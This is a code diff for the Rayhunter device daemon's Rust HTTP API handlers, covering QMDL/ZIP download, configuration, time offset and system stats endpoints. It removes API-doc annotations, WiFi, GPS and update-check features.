(status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty, or error opening file")
|
|
||||||
),
|
|
||||||
params(
|
|
||||||
("name" = String, Path, description = "QMDL filename to convert and download")
|
|
||||||
),
|
|
||||||
summary = "Download a QMDL file",
|
|
||||||
description = "Stream the QMDL file {name} to the client."
|
|
||||||
))]
|
|
||||||
pub async fn get_qmdl(
|
pub async fn get_qmdl(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
Path(qmdl_name): Path<String>,
|
Path(qmdl_name): Path<String>,
|
||||||
@@ -72,15 +50,14 @@ pub async fn get_qmdl(
|
|||||||
format!("couldn't find qmdl file with name {qmdl_idx}"),
|
format!("couldn't find qmdl file with name {qmdl_idx}"),
|
||||||
))?;
|
))?;
|
||||||
let qmdl_file = qmdl_store
|
let qmdl_file = qmdl_store
|
||||||
.open_file(entry_index, FileKind::Qmdl)
|
.open_entry_qmdl(entry_index)
|
||||||
.await
|
.await
|
||||||
.map_err(|err| {
|
.map_err(|err| {
|
||||||
(
|
(
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
format!("error opening QMDL file: {err}"),
|
format!("error opening QMDL file: {err}"),
|
||||||
)
|
)
|
||||||
})?
|
})?;
|
||||||
.ok_or((StatusCode::NOT_FOUND, "QMDL file not found".to_string()))?;
|
|
||||||
let limited_qmdl_file = qmdl_file.take(entry.qmdl_size_bytes as u64);
|
let limited_qmdl_file = qmdl_file.take(entry.qmdl_size_bytes as u64);
|
||||||
let qmdl_stream = ReaderStream::new(limited_qmdl_file);
|
let qmdl_stream = ReaderStream::new(limited_qmdl_file);
|
||||||
|
|
||||||
@@ -129,54 +106,17 @@ pub async fn serve_static(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/config",
|
|
||||||
tag = "Configuration",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = Config)
|
|
||||||
),
|
|
||||||
summary = "Get config",
|
|
||||||
description = "Show the running configuration for Rayhunter."
|
|
||||||
))]
|
|
||||||
pub async fn get_config(
|
pub async fn get_config(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
) -> Result<Json<Config>, (StatusCode, String)> {
|
) -> Result<Json<Config>, (StatusCode, String)> {
|
||||||
let mut config = state.config.clone();
|
Ok(Json(state.config.clone()))
|
||||||
config.wifi_password = None;
|
|
||||||
Ok(Json(config))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/config",
|
|
||||||
tag = "Configuration",
|
|
||||||
request_body(
|
|
||||||
content = Option<[Config]>,
|
|
||||||
description = "Any or all configuration elements from the valid config schema to be altered may be passed. Invalid keys will be discarded. Invalid values or value types will return an error."
|
|
||||||
),
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::ACCEPTED, description = "Success"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Failed to parse or write config file"),
|
|
||||||
(status = 422, description = "Failed to deserialize JSON body")
|
|
||||||
),
|
|
||||||
summary = "Set config",
|
|
||||||
description = "Write a new configuration for Rayhunter and trigger a restart."
|
|
||||||
))]
|
|
||||||
pub async fn set_config(
|
pub async fn set_config(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
Json(mut config): Json<Config>,
|
Json(config): Json<Config>,
|
||||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||||
if config.gps_mode != GpsMode::Fixed {
|
let config_str = toml::to_string_pretty(&config).map_err(|err| {
|
||||||
config.gps_fixed_latitude = None;
|
|
||||||
config.gps_fixed_longitude = None;
|
|
||||||
}
|
|
||||||
let mut config_to_write = config.clone();
|
|
||||||
config_to_write.wifi_ssid = None;
|
|
||||||
config_to_write.wifi_password = None;
|
|
||||||
config_to_write.wifi_security = None;
|
|
||||||
|
|
||||||
let config_str = toml::to_string_pretty(&config_to_write).map_err(|err| {
|
|
||||||
(
|
(
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
format!("failed to serialize config as TOML: {err}"),
|
format!("failed to serialize config as TOML: {err}"),
|
||||||
@@ -190,8 +130,6 @@ pub async fn set_config(
|
|||||||
)
|
)
|
||||||
})?;
|
})?;
|
||||||
|
|
||||||
wifi_station::update_wpa_conf(&config.wifi_config()).await;
|
|
||||||
|
|
||||||
// Trigger daemon restart after writing config
|
// Trigger daemon restart after writing config
|
||||||
state.daemon_restart_token.cancel();
|
state.daemon_restart_token.cancel();
|
||||||
Ok((
|
Ok((
|
||||||
@@ -200,18 +138,6 @@ pub async fn set_config(
|
|||||||
))
|
))
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/test-notification",
|
|
||||||
tag = "Configuration",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success"),
|
|
||||||
(status = StatusCode::BAD_REQUEST, description = "No notification URL set"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Failed to send HTTP request. Ensure your device can reach the internet.")
|
|
||||||
),
|
|
||||||
summary = "Test ntfy notification",
|
|
||||||
description = "Send a test notification to the ntfy_url in the running configuration for Rayhunter."
|
|
||||||
))]
|
|
||||||
pub async fn test_notification(
|
pub async fn test_notification(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||||
@@ -230,36 +156,28 @@ pub async fn test_notification(
|
|||||||
let http_client = reqwest::Client::new();
|
let http_client = reqwest::Client::new();
|
||||||
let message = "Test notification from Rayhunter".to_string();
|
let message = "Test notification from Rayhunter".to_string();
|
||||||
|
|
||||||
crate::notifications::send_notification(
|
crate::notifications::send_notification(&http_client, url, message)
|
||||||
&http_client,
|
.await
|
||||||
url,
|
.map(|()| {
|
||||||
message,
|
(
|
||||||
DEFAULT_NOTIFICATION_TIMEOUT,
|
StatusCode::OK,
|
||||||
)
|
"Test notification sent successfully".to_string(),
|
||||||
.await
|
)
|
||||||
.map(|()| {
|
})
|
||||||
(
|
.map_err(|e| {
|
||||||
StatusCode::OK,
|
(
|
||||||
"Test notification sent successfully".to_string(),
|
StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
)
|
format!("Failed to send test notification: {e}"),
|
||||||
})
|
)
|
||||||
.map_err(|e| {
|
})
|
||||||
(
|
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
|
||||||
format!("Failed to send test notification: {e}"),
|
|
||||||
)
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Response for GET /api/time
|
/// Response for GET /api/time
|
||||||
#[derive(Serialize)]
|
#[derive(Serialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct TimeResponse {
|
pub struct TimeResponse {
|
||||||
/// The raw system time (without clock offset)
|
/// The raw system time (without clock offset)
|
||||||
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
|
|
||||||
pub system_time: DateTime<Local>,
|
pub system_time: DateTime<Local>,
|
||||||
/// The adjusted time (system time + offset)
|
/// The adjusted time (system time + offset)
|
||||||
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
|
|
||||||
pub adjusted_time: DateTime<Local>,
|
pub adjusted_time: DateTime<Local>,
|
||||||
/// The current offset in seconds
|
/// The current offset in seconds
|
||||||
pub offset_seconds: i64,
|
pub offset_seconds: i64,
|
||||||
@@ -267,22 +185,11 @@ pub struct TimeResponse {
|
|||||||
|
|
||||||
/// Request for POST /api/time-offset
|
/// Request for POST /api/time-offset
|
||||||
#[derive(Deserialize)]
|
#[derive(Deserialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct SetTimeOffsetRequest {
|
pub struct SetTimeOffsetRequest {
|
||||||
/// The offset to set, in seconds
|
/// The offset to set, in seconds
|
||||||
pub offset_seconds: i64,
|
pub offset_seconds: i64,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/time",
|
|
||||||
tag = "Configuration",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = TimeResponse)
|
|
||||||
),
|
|
||||||
summary = "Get time",
|
|
||||||
description = "Get the current time and offset (in seconds) of the device."
|
|
||||||
))]
|
|
||||||
pub async fn get_time() -> Json<TimeResponse> {
|
pub async fn get_time() -> Json<TimeResponse> {
|
||||||
let system_time = Local::now();
|
let system_time = Local::now();
|
||||||
let adjusted_time = rayhunter::clock::get_adjusted_now();
|
let adjusted_time = rayhunter::clock::get_adjusted_now();
|
||||||
@@ -296,39 +203,11 @@ pub async fn get_time() -> Json<TimeResponse> {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/time-offset",
|
|
||||||
tag = "Configuration",
|
|
||||||
request_body(
|
|
||||||
content = SetTimeOffsetRequest
|
|
||||||
),
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = TimeResponse)
|
|
||||||
),
|
|
||||||
summary = "Set time offset",
|
|
||||||
description = "Set the difference (in seconds) between the system time and the adjusted time for Rayhunter."
|
|
||||||
))]
|
|
||||||
pub async fn set_time_offset(Json(req): Json<SetTimeOffsetRequest>) -> StatusCode {
|
pub async fn set_time_offset(Json(req): Json<SetTimeOffsetRequest>) -> StatusCode {
|
||||||
rayhunter::clock::set_offset(chrono::TimeDelta::seconds(req.offset_seconds));
|
rayhunter::clock::set_offset(chrono::TimeDelta::seconds(req.offset_seconds));
|
||||||
StatusCode::OK
|
StatusCode::OK
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/zip/{name}",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "ZIP download successful. It is possible that if the PCAP fails to convert, the same status will be returned, but the file will contain only the QMDL file.", content_type = "application/zip"),
|
|
||||||
(status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
|
|
||||||
(status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty, or error opening file")
|
|
||||||
),
|
|
||||||
params(
|
|
||||||
("name" = String, Path, description = "QMDL filename to convert and download")
|
|
||||||
),
|
|
||||||
summary = "Download a ZIP file",
|
|
||||||
description = "Stream a ZIP file to the client which contains the QMDL file {name} and a PCAP generated from the same file."
|
|
||||||
))]
|
|
||||||
pub async fn get_zip(
|
pub async fn get_zip(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
Path(entry_name): Path<String>,
|
Path(entry_name): Path<String>,
|
||||||
@@ -352,7 +231,6 @@ pub async fn get_zip(
|
|||||||
};
|
};
|
||||||
|
|
||||||
let qmdl_store_lock = state.qmdl_store_lock.clone();
|
let qmdl_store_lock = state.qmdl_store_lock.clone();
|
||||||
let gps_records = load_gps_records_for_entry(&state, entry_index).await;
|
|
||||||
|
|
||||||
let (reader, writer) = duplex(8192);
|
let (reader, writer) = duplex(8192);
|
||||||
|
|
||||||
@@ -360,40 +238,24 @@ pub async fn get_zip(
|
|||||||
let result: Result<(), Error> = async {
|
let result: Result<(), Error> = async {
|
||||||
let mut zip = ZipFileWriter::with_tokio(writer);
|
let mut zip = ZipFileWriter::with_tokio(writer);
|
||||||
|
|
||||||
const EXCLUDED_FROM_ZIP: &[FileKind] = &[FileKind::Analysis];
|
// Add QMDL file
|
||||||
|
{
|
||||||
// Add stored files
|
let entry =
|
||||||
for &file_kind in FileKind::ALL {
|
ZipEntryBuilder::new(format!("{qmdl_idx}.qmdl").into(), Compression::Stored);
|
||||||
if EXCLUDED_FROM_ZIP.contains(&file_kind) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
let file_opt = {
|
|
||||||
let qmdl_store = qmdl_store_lock.read().await;
|
|
||||||
qmdl_store.open_file(entry_index, file_kind).await?
|
|
||||||
};
|
|
||||||
|
|
||||||
let Some(mut file) = file_opt else {
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
|
|
||||||
let entry = ZipEntryBuilder::new(
|
|
||||||
file_kind.get_filename(&qmdl_idx).into(),
|
|
||||||
Compression::Stored,
|
|
||||||
);
|
|
||||||
// FuturesAsyncWriteCompatExt::compat_write because async-zip's entrystream does
|
// FuturesAsyncWriteCompatExt::compat_write because async-zip's entrystream does
|
||||||
// not impl tokio's AsyncWrite, but only future's AsyncWrite. This can be removed
|
// not impl tokio's AsyncWrite, but only future's AsyncWrite. This can be removed
|
||||||
// once https://github.com/Majored/rs-async-zip/pull/160 is released.
|
// once https://github.com/Majored/rs-async-zip/pull/160 is released.
|
||||||
let mut entry_writer = zip.write_entry_stream(entry).await?.compat_write();
|
let mut entry_writer = zip.write_entry_stream(entry).await?.compat_write();
|
||||||
|
|
||||||
// Truncating to qmdl_size_bytes is an attempt to ignore partial writes by the diag
|
let mut qmdl_file = {
|
||||||
// thread.
|
let qmdl_store = qmdl_store_lock.read().await;
|
||||||
if file_kind == FileKind::Qmdl {
|
qmdl_store
|
||||||
copy(&mut file.take(qmdl_size_bytes as u64), &mut entry_writer).await?;
|
.open_entry_qmdl(entry_index)
|
||||||
} else {
|
.await?
|
||||||
copy(&mut file, &mut entry_writer).await?;
|
.take(qmdl_size_bytes as u64)
|
||||||
}
|
};
|
||||||
|
|
||||||
|
copy(&mut qmdl_file, &mut entry_writer).await?;
|
||||||
entry_writer.into_inner().close().await?;
|
entry_writer.into_inner().close().await?;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -406,19 +268,13 @@ pub async fn get_zip(
|
|||||||
let qmdl_file_for_pcap = {
|
let qmdl_file_for_pcap = {
|
||||||
let qmdl_store = qmdl_store_lock.read().await;
|
let qmdl_store = qmdl_store_lock.read().await;
|
||||||
qmdl_store
|
qmdl_store
|
||||||
.open_file(entry_index, FileKind::Qmdl)
|
.open_entry_qmdl(entry_index)
|
||||||
.await?
|
.await?
|
||||||
.ok_or_else(|| anyhow::anyhow!("QMDL file not found"))?
|
|
||||||
.take(qmdl_size_bytes as u64)
|
.take(qmdl_size_bytes as u64)
|
||||||
};
|
};
|
||||||
|
|
||||||
if let Err(e) = generate_pcap_data(
|
if let Err(e) =
|
||||||
&mut entry_writer,
|
generate_pcap_data(&mut entry_writer, qmdl_file_for_pcap, qmdl_size_bytes).await
|
||||||
qmdl_file_for_pcap,
|
|
||||||
qmdl_size_bytes,
|
|
||||||
gps_records,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
{
|
{
|
||||||
// if we fail to generate the PCAP file, we should still continue and give the
|
// if we fail to generate the PCAP file, we should still continue and give the
|
||||||
// user the QMDL.
|
// user the QMDL.
|
||||||
@@ -443,70 +299,6 @@ pub async fn get_zip(
|
|||||||
Ok((headers, body).into_response())
|
Ok((headers, body).into_response())
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/wifi-status",
|
|
||||||
tag = "Configuration",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = wifi_station::WifiStatus)
|
|
||||||
),
|
|
||||||
summary = "Get wifi status",
|
|
||||||
description = "Show the status of the wifi client."
|
|
||||||
))]
|
|
||||||
pub async fn get_wifi_status(
|
|
||||||
State(state): State<Arc<ServerState>>,
|
|
||||||
) -> Json<wifi_station::WifiStatus> {
|
|
||||||
let status = state.wifi_status.read().await;
|
|
||||||
Json(status.clone())
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/wifi-scan",
|
|
||||||
tag = "Configuration",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Scan success", body = inline(Vec<wifi_station::WifiNetwork>), content_type = "application/json"),
|
|
||||||
(status = StatusCode::TOO_MANY_REQUESTS, description = "Scan already in progress"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Scan failed"),
|
|
||||||
),
|
|
||||||
summary = "Wifi SSID scan",
|
|
||||||
description = "Poll for a list of available wifi networks. Returns an array of WifiNetwork objects."
|
|
||||||
))]
|
|
||||||
pub async fn scan_wifi(
|
|
||||||
State(state): State<Arc<ServerState>>,
|
|
||||||
) -> Result<Json<Vec<wifi_station::WifiNetwork>>, (StatusCode, String)> {
|
|
||||||
let _guard = state.wifi_scan_lock.try_lock().map_err(|_| {
|
|
||||||
(
|
|
||||||
StatusCode::TOO_MANY_REQUESTS,
|
|
||||||
"WiFi scan already in progress".to_string(),
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
let networks = wifi_station::scan_wifi_networks(wifi_station::STA_IFACE)
|
|
||||||
.await
|
|
||||||
.map_err(|e| {
|
|
||||||
(
|
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
|
||||||
format!("WiFi scan failed: {e}"),
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
Ok(Json(networks))
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/debug/display-state",
|
|
||||||
tag = "Configuration",
|
|
||||||
request_body(
|
|
||||||
content = DisplayState
|
|
||||||
),
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Display state updated successfully"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Error sending update to the display"),
|
|
||||||
(status = StatusCode::SERVICE_UNAVAILABLE, description = "Display system not available")
|
|
||||||
),
|
|
||||||
summary = "Set display state",
|
|
||||||
description = "Change the display state (color bar or otherwise) of the device for debugging purposes."
|
|
||||||
))]
|
|
||||||
pub async fn debug_set_display_state(
|
pub async fn debug_set_display_state(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
Json(display_state): Json<DisplayState>,
|
Json(display_state): Json<DisplayState>,
|
||||||
@@ -533,7 +325,6 @@ pub async fn debug_set_display_state(
|
|||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
use crate::config::GpsMode;
|
|
||||||
use async_zip::base::read::mem::ZipFileReader;
|
use async_zip::base::read::mem::ZipFileReader;
|
||||||
use axum::extract::{Path, State};
|
use axum::extract::{Path, State};
|
||||||
use tempfile::TempDir;
|
use tempfile::TempDir;
|
||||||
@@ -553,7 +344,7 @@ mod tests {
|
|||||||
) -> String {
|
) -> String {
|
||||||
let entry_name = {
|
let entry_name = {
|
||||||
let mut store = store_lock.write().await;
|
let mut store = store_lock.write().await;
|
||||||
let (mut qmdl_file, _analysis_file) = store.new_entry(GpsMode::Disabled).await.unwrap();
|
let (mut qmdl_file, _analysis_file) = store.new_entry().await.unwrap();
|
||||||
|
|
||||||
if !test_data.is_empty() {
|
if !test_data.is_empty() {
|
||||||
use tokio::io::AsyncWriteExt;
|
use tokio::io::AsyncWriteExt;
|
||||||
@@ -597,10 +388,6 @@ mod tests {
|
|||||||
analysis_sender: analysis_tx,
|
analysis_sender: analysis_tx,
|
||||||
daemon_restart_token: CancellationToken::new(),
|
daemon_restart_token: CancellationToken::new(),
|
||||||
ui_update_sender: None,
|
ui_update_sender: None,
|
||||||
wifi_status: Arc::new(RwLock::new(wifi_station::WifiStatus::default())),
|
|
||||||
wifi_scan_lock: tokio::sync::Mutex::new(()),
|
|
||||||
gps_state: Arc::new(RwLock::new(None)),
|
|
||||||
update_status_lock: Arc::new(RwLock::new(UpdateStatus::default())),
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -633,11 +420,7 @@ mod tests {
|
|||||||
|
|
||||||
assert_eq!(
|
assert_eq!(
|
||||||
filenames,
|
filenames,
|
||||||
vec![
|
vec![format!("{entry_name}.qmdl"), format!("{entry_name}.pcapng"),]
|
||||||
format!("{entry_name}.qmdl"),
|
|
||||||
format!("{entry_name}-gps.ndjson"),
|
|
||||||
format!("{entry_name}.pcapng"),
|
|
||||||
]
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-72
@@ -4,7 +4,6 @@ use std::sync::Arc;
|
|||||||
use crate::battery::get_battery_status;
|
use crate::battery::get_battery_status;
|
||||||
use crate::error::RayhunterError;
|
use crate::error::RayhunterError;
|
||||||
use crate::server::ServerState;
|
use crate::server::ServerState;
|
||||||
use crate::update::UpdateStatus;
|
|
||||||
use crate::{battery::BatteryState, qmdl_store::ManifestEntry};
|
use crate::{battery::BatteryState, qmdl_store::ManifestEntry};
|
||||||
|
|
||||||
use axum::Json;
|
use axum::Json;
|
||||||
@@ -15,9 +14,7 @@ use rayhunter::{Device, util::RuntimeMetadata};
|
|||||||
use serde::Serialize;
|
use serde::Serialize;
|
||||||
use tokio::process::Command;
|
use tokio::process::Command;
|
||||||
|
|
||||||
/// Structure of device system statistics
|
|
||||||
#[derive(Debug, Serialize)]
|
#[derive(Debug, Serialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct SystemStats {
|
pub struct SystemStats {
|
||||||
pub disk_stats: DiskStats,
|
pub disk_stats: DiskStats,
|
||||||
pub memory_stats: MemoryStats,
|
pub memory_stats: MemoryStats,
|
||||||
@@ -44,21 +41,13 @@ impl SystemStats {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Device storage information
|
|
||||||
#[derive(Debug, Serialize)]
|
#[derive(Debug, Serialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct DiskStats {
|
pub struct DiskStats {
|
||||||
/// The partition to which the daemon is installed
|
|
||||||
partition: String,
|
partition: String,
|
||||||
/// The total disk size of the partition
|
|
||||||
total_size: String,
|
total_size: String,
|
||||||
/// Total used size of the partition
|
|
||||||
used_size: String,
|
used_size: String,
|
||||||
/// Remaining free space of the partition
|
|
||||||
available_size: String,
|
available_size: String,
|
||||||
/// Disk usage displayed as percentage
|
|
||||||
used_percent: String,
|
used_percent: String,
|
||||||
/// The root folder to which the partition is mounted
|
|
||||||
mounted_on: String,
|
mounted_on: String,
|
||||||
#[serde(skip_serializing_if = "Option::is_none")]
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
pub available_bytes: Option<u64>,
|
pub available_bytes: Option<u64>,
|
||||||
@@ -82,12 +71,11 @@ impl DiskStats {
|
|||||||
let free_kb = (stat.f_bfree as u64 * block_size / 1024) as usize;
|
let free_kb = (stat.f_bfree as u64 * block_size / 1024) as usize;
|
||||||
let available_kb = (stat.f_bavail as u64 * block_size / 1024) as usize;
|
let available_kb = (stat.f_bavail as u64 * block_size / 1024) as usize;
|
||||||
let used_kb = total_kb.saturating_sub(free_kb);
|
let used_kb = total_kb.saturating_sub(free_kb);
|
||||||
let used_percent = format!(
|
let used_percent = if stat.f_blocks > 0 {
|
||||||
"{}%",
|
format!("{}%", (stat.f_blocks - stat.f_bfree) * 100 / stat.f_blocks)
|
||||||
((stat.f_blocks - stat.f_bfree) * 100)
|
} else {
|
||||||
.checked_div(stat.f_blocks)
|
"0%".to_string()
|
||||||
.unwrap_or(0)
|
};
|
||||||
);
|
|
||||||
|
|
||||||
Ok(Self {
|
Ok(Self {
|
||||||
partition: qmdl_path.to_string(),
|
partition: qmdl_path.to_string(),
|
||||||
@@ -101,15 +89,10 @@ impl DiskStats {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Device memory information
|
|
||||||
#[derive(Debug, Serialize)]
|
#[derive(Debug, Serialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct MemoryStats {
|
pub struct MemoryStats {
|
||||||
/// The total memory available on the device
|
|
||||||
total: String,
|
total: String,
|
||||||
/// The currently used memory
|
|
||||||
used: String,
|
used: String,
|
||||||
/// Remaining free memory
|
|
||||||
free: String,
|
free: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -162,17 +145,6 @@ fn humanize_kb(kb: usize) -> String {
|
|||||||
format!("{:.1}M", kb as f64 / 1024.0)
|
format!("{:.1}M", kb as f64 / 1024.0)
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/system-stats",
|
|
||||||
tag = "Statistics",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = SystemStats),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Error collecting statistics")
|
|
||||||
),
|
|
||||||
summary = "Get system info",
|
|
||||||
description = "Display system/device statistics."
|
|
||||||
))]
|
|
||||||
pub async fn get_system_stats(
|
pub async fn get_system_stats(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
) -> Result<Json<SystemStats>, (StatusCode, String)> {
|
) -> Result<Json<SystemStats>, (StatusCode, String)> {
|
||||||
@@ -189,26 +161,12 @@ pub async fn get_system_stats(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// QMDL manifest information
|
|
||||||
#[derive(Serialize)]
|
#[derive(Serialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct ManifestStats {
|
pub struct ManifestStats {
|
||||||
/// A vector containing the names of the QMDL files
|
|
||||||
pub entries: Vec<ManifestEntry>,
|
pub entries: Vec<ManifestEntry>,
|
||||||
/// The currently open QMDL file
|
|
||||||
pub current_entry: Option<ManifestEntry>,
|
pub current_entry: Option<ManifestEntry>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/qmdl-manifest",
|
|
||||||
tag = "Statistics",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = ManifestStats)
|
|
||||||
),
|
|
||||||
summary = "QMDL Manifest",
|
|
||||||
description = "List QMDL files available on the device and some of their basic statistics."
|
|
||||||
))]
|
|
||||||
pub async fn get_qmdl_manifest(
|
pub async fn get_qmdl_manifest(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
) -> Result<Json<ManifestStats>, (StatusCode, String)> {
|
) -> Result<Json<ManifestStats>, (StatusCode, String)> {
|
||||||
@@ -221,31 +179,6 @@ pub async fn get_qmdl_manifest(
|
|||||||
}))
|
}))
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/update-status",
|
|
||||||
tag = "Statistics",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = UpdateStatus)
|
|
||||||
),
|
|
||||||
summary = "Rayhunter update status",
|
|
||||||
description = "Check for available updates for Rayhunter."
|
|
||||||
))]
|
|
||||||
pub async fn get_update_status(State(state): State<Arc<ServerState>>) -> Json<UpdateStatus> {
|
|
||||||
Json(state.update_status_lock.read().await.clone())
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/log",
|
|
||||||
tag = "Statistics",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", content_type = "text/plain"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Could not read /data/rayhunter/rayhunter.log file")
|
|
||||||
),
|
|
||||||
summary = "Display log",
|
|
||||||
description = "Download the current device log in UTF-8 plaintext."
|
|
||||||
))]
|
|
||||||
pub async fn get_log() -> Result<String, (StatusCode, String)> {
|
pub async fn get_log() -> Result<String, (StatusCode, String)> {
|
||||||
tokio::fs::read_to_string("/data/rayhunter/rayhunter.log")
|
tokio::fs::read_to_string("/data/rayhunter/rayhunter.log")
|
||||||
.await
|
.await
|
||||||
|
|||||||
@@ -1,274 +0,0 @@
|
|||||||
use chrono::{DateTime, Local};
|
|
||||||
use log::{error, info, warn};
|
|
||||||
use serde::{Deserialize, Serialize};
|
|
||||||
use std::sync::Arc;
|
|
||||||
use tokio::select;
|
|
||||||
use tokio::sync::{RwLock, mpsc::Sender};
|
|
||||||
use tokio::time;
|
|
||||||
use tokio::time::{Duration, MissedTickBehavior};
|
|
||||||
use tokio_util::{sync::CancellationToken, task::TaskTracker};
|
|
||||||
|
|
||||||
use crate::notifications::{Notification, NotificationType};
|
|
||||||
|
|
||||||
const UPDATE_CHECK_INTERVAL: Duration = Duration::from_secs(6 * 60 * 60);
|
|
||||||
const GITHUB_LATEST_RELEASE_URL: &str =
|
|
||||||
"https://api.github.com/repos/EFForg/rayhunter/releases/latest";
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize)]
|
|
||||||
